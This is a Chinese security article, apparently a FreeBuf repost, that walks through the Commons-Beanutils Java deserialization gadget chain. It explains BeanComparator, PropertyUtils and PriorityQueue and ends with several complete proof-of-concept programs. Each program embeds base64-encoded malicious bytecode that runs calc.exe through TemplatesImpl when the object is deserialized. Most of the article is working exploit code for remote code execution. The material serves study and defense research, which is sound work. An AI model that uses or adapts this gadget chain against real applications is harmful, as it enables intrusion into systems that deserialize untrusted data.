Java反序列化:CB链深度解析
Apache Commons Beanutils用于操作JavaBean对象,提供反射机制访问属性。文章介绍了其功能、环境搭建及关键类方法,并展示了如何利用BeanComparator和PriorityQueue构造恶意链,在反序列化时触发TemplatesImpl恶意代码执行。 2025-9-18 04:45:45 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

Commons Beanutils

Apache Commons Beanutils,是Apache Common下的一个工具集的另一个项目,它提供对普通Java类对象(JavaBean)的一些操作方法

JavaBean是一种特殊的Java类,主要用于封装数据并在应用程序中传递,其具有的特点:

  • 无参构造函数:JavaBean必须提供一个默认的无参构造函数

  • 私有属性:所有属性必须声明为私有(private)

  • 公共访问方法:通过gettersetter方法访问和修改属性值

  • 可序列化:实现Serializable

demo:

public class Person implements java.io.Serializable {
	private String name;
	private int age;

	// 无参构造函数
	public Person() {}

	// Getter 和 Setter 方法
	public String getName() {
		return name;
	}

	public void setName(String name) {
		this.name = name;
	}

	public int getAge() {
		return age;
	}

	public void setAge(int age) {
		this.age = age;
	}
}

环境搭建

  • jdk 8u71

  • commons-beanutils 1.8.3

pom.xml添加:

<dependency>
  <groupId>commons-beanutils</groupId>
  <artifactId>commons-beanutils</artifactId>
  <version>1.8.3</version>
</dependency>
<dependency>
  <groupId>commons-logging</groupId>
  <artifactId>commons-logging</artifactId>
  <version>1.2</version>
</dependency>

相关类和方法

PropertyUtils

它是对JavaBean进行操作的工具类,可单独为某个属性进行值的操作的工具类。它是通过反射来操作Bean的属性

PropertyUtils类下提供了一些静态方法,便于开发者直接调用一些getter和setter方法:

  • getProperty:返回指定Bean的指定属性的值,可以是简单也可以是嵌套,如nameaddress.city等 属性的名称或路径

  • getSimpleProperty:返回指定Bean的指定**简单(非嵌套)**属性的值,只能是属性的单一名称如name

  • setProperty:设置指定Bean的指定属性的值

  • setSimpleProperty:设置指定Bean的指定属性的值

demo:

package CC;

import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;

public class CB {
    private String name="b1uel0n3";

    public  String getName(){
        return name;
    }

    public void setName(String name){
        this.name=name;
    }
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        CB m=new CB();
        m.setName("B1uel0n3");
        String name=(String) PropertyUtils.getProperty(m,"name");
        System.out.println(name);
    }
}

image.png

PropertyUtils.getProperty/setProperty方法,实际上是会调用对应类变量的getter和setter方法

BeanComparator

在BeanComparator类中存在compare方法:
image.png

compare方法能调用PropertyUtils.getProperty方法来获取指定Bean的属性

CB链分析

CC2回顾

image.png

在学习CC2时我们知道我们是通过PriorityQueu.readObject作为入口调用PriorityQueue.heapify方法,在heapify方法中调用了PriorityQueue.siftDown方法,随后调用PriorityQueue.siftDownUsingComparator,最后调用TransformingComparator.compare从而调用this.transformer.transform()方法执行我们的TemplatesImpl字节码链的

TemplatesImpl字节码链POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;

import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

        TemplatesImpl Impl = new TemplatesImpl();
        setValue(Impl,"_name","b1uel0n3");
        setValue(Impl,"_class",null);
        setValue(Impl,"_bytecodes",new byte[][]{bytes});
        setValue(Impl,"_tfactory",new TransformerFactoryImpl());

        InvokerTransformer newtransformer=new InvokerTransformer("toString",new Class[0],new Object[0]);

        TransformingComparator comparator=new TransformingComparator(newtransformer);
        PriorityQueue queue=new PriorityQueue(2, comparator);

        queue.add(1);
        queue.add(1);

        setValue(newtransformer,"iMethodName","newTransformer");

        Object[] queueArray=(Object[]) getValue(queue,"queue");
        queueArray[0]=Impl;
        queueArray[1]=1;

        serialize(queue);
        unserialize();
    }
    public static void serialize(Object obj) throws Exception{
        FileOutputStream out=new FileOutputStream("E:\\study\\web\\java\\test.ser");
        ObjectOutputStream oos=new ObjectOutputStream(out);
        oos.writeObject(obj);
    }
    public static Object unserialize() throws Exception{
        FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser");
        ObjectInputStream ois=new ObjectInputStream(in);
        Object o=ois.readObject();
        return o;
    }
    public static void setValue(Object obj, String filedname, Object value) throws Exception {
        Field field=obj.getClass().getDeclaredField(filedname);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static Object getValue(Object obj, String filedname) throws Exception {
        Field field=obj.getClass().getDeclaredField(filedname);
        field.setAccessible(true);
        return field.get(obj);
    }
}

分析

而在CB链中则是将最后调用PriorityQueue.siftDownUsingComparator时:

image.png

CC2是传入comparator参数为TransformingComparator,CB链则是传入参数为BeanComparator,随后调用BeanComparator.compare方法调用PropertyUtils.getProperty方法

同时如果PropertyUtils.getProperty方法内的参数可控:
image.png

this.poperty在创建BeanComparator对象时可控,即如果o1或o2可控的话,那我们就能传入TemplatesImpl,而this.property传入outputProperties,这样执行PropertyUtils.getProperty就相当于调用TemplatesImpl.getOutputProperties:

image.png

然后执行TemplatesImpl.newTransformer()触发TemplatesImpl恶意字节码

首先准备我们的TemplatesImpl对象:

package CC;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;

public class CB {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name","B1uel0n3");
        setValue(templates,"_class",null);
        setValue(templates,"_bytecodes",new byte[][]{bytes});
        setValue(templates,"_tfactory",new TransformerFactoryImpl());
        templates.newTransformer();
    }
    public static void setValue(Object o,String filedname,Object value) throws Exception {
        Field field=o.getClass().getDeclaredField(filedname);
        field.setAccessible(true);
        field.set(o,value);
    }
}

image.png

然后需要控制this.property变量,先看BeanCompare构造方法:
image.png

image.png

image.png

直接创建BeanComparator对象传入outputProperties即可:

BeanComparator beanComparator = new BeanComparator("outputProperties");

随后准备序列化入口类:

PriorityQueue queue = new PriorityQueue(2,beanComparator);
queue.add(1);
queue.add(1);

之所以queue.add(1);是为了满足调用siftDown方法的条件,具体原理看我发的CC2链分析文章,这里不做赘述

利用反射来修改queue的值使调用BeanComparator.compare传入参数为TemplatesImpl恶意字节码:

Object[] queueArray=(Object[]) getValue(queue,"queue");
queueArray[0]=templates;
queueArray[1]=1;

public static Object getValue(Object obj, String filedname) throws Exception {
    Field field=obj.getClass().getDeclaredField(filedname);
    field.setAccessible(true);
    return field.get(obj);
}

完整POC:

package CC;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name","B1uel0n3");
        setValue(templates,"_class",null);
        setValue(templates,"_bytecodes",new byte[][]{bytes});
        setValue(templates,"_tfactory",new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator("outputProperties");

        PriorityQueue queue = new PriorityQueue(2,beanComparator);
        queue.add(1);
        queue.add(1);

        Object[] queueArray=(Object[]) getValue(queue,"queue");
        queueArray[0]=templates;
        queueArray[1]=1;

        serialize(queue);
        unserialize();
    }
    public static void serialize(Object obj) throws Exception{
        FileOutputStream out=new FileOutputStream("E:\\study\\web\\java\\test.ser");
        ObjectOutputStream oos=new ObjectOutputStream(out);
        oos.writeObject(obj);
    }
    public static Object unserialize() throws Exception{
        FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser");
        ObjectInputStream ois=new ObjectInputStream(in);
        Object o=ois.readObject();
        return o;
    }
    public static void setValue(Object obj, String filedname, Object value) throws Exception {
        Field field=obj.getClass().getDeclaredField(filedname);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static Object getValue(Object obj, String filedname) throws Exception {
        Field field=obj.getClass().getDeclaredField(filedname);
        field.setAccessible(true);
        return field.get(obj);
    }
}

image.png

可是报错了并没有弹出计算机

这是因为中间我们调用了add方法,而在add方法中我们传入的是1,为Integer对象:

image.png

而在add调用的offer方法中会调用siftUp(i,e),而e就是我们的Integer对象:

image.png

之后执行siftUpUsingComparator方法,其中x就为传入的e,即Integer对象:

image.png

最后执行comparator.compare(x,(E) e),这个逻辑跟我们要执行的链子很类似,为了防止add的影响ysoserial中是先传入假的参数再通过反射修改

BeanComparator beanComparator = new BeanComparator(null); //不能传入字符串

PriorityQueue queue = new PriorityQueue(2,beanComparator);
queue.add(1);
queue.add(1);

       setValue(beanComparator,"property","outputProperties");

还有一点需要注意的是由于在add方法中是调用:

image.png

此时o1,o2为Integer对象,而如果this.property为B1uel0n3字符串则会导致报错,所以我们实例化BeanComparator对象时设置this.property为空就行

最终POC:

package CC;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name","B1uel0n3");
        setValue(templates,"_class",null);
        setValue(templates,"_bytecodes",new byte[][]{bytes});
        setValue(templates,"_tfactory",new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator(null);

        PriorityQueue queue = new PriorityQueue(2,beanComparator);
        queue.add(1);
        queue.add(1);

        setValue(beanComparator,"property","outputProperties");

        Object[] queueArray=(Object[]) getValue(queue,"queue");
        queueArray[0]=templates;
        queueArray[1]=1;

        serialize(queue);
        unserialize();
    }
    public static void serialize(Object obj) throws Exception{
        FileOutputStream out=new FileOutputStream("E:\\study\\web\\java\\test.ser");
        ObjectOutputStream oos=new ObjectOutputStream(out);
        oos.writeObject(obj);
    }
    public static Object unserialize() throws Exception{
        FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser");
        ObjectInputStream ois=new ObjectInputStream(in);
        Object o=ois.readObject();
        return o;
    }
    public static void setValue(Object obj, String filedname, Object value) throws Exception {
        Field field=obj.getClass().getDeclaredField(filedname);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static Object getValue(Object obj, String filedname) throws Exception {
        Field field=obj.getClass().getDeclaredField(filedname);
        field.setAccessible(true);
        return field.get(obj);
    }
}

image.png

成功弹计算机


文章来源: https://www.freebuf.com/articles/vuls/449240.html
如有侵权请联系:admin#unsafe.sh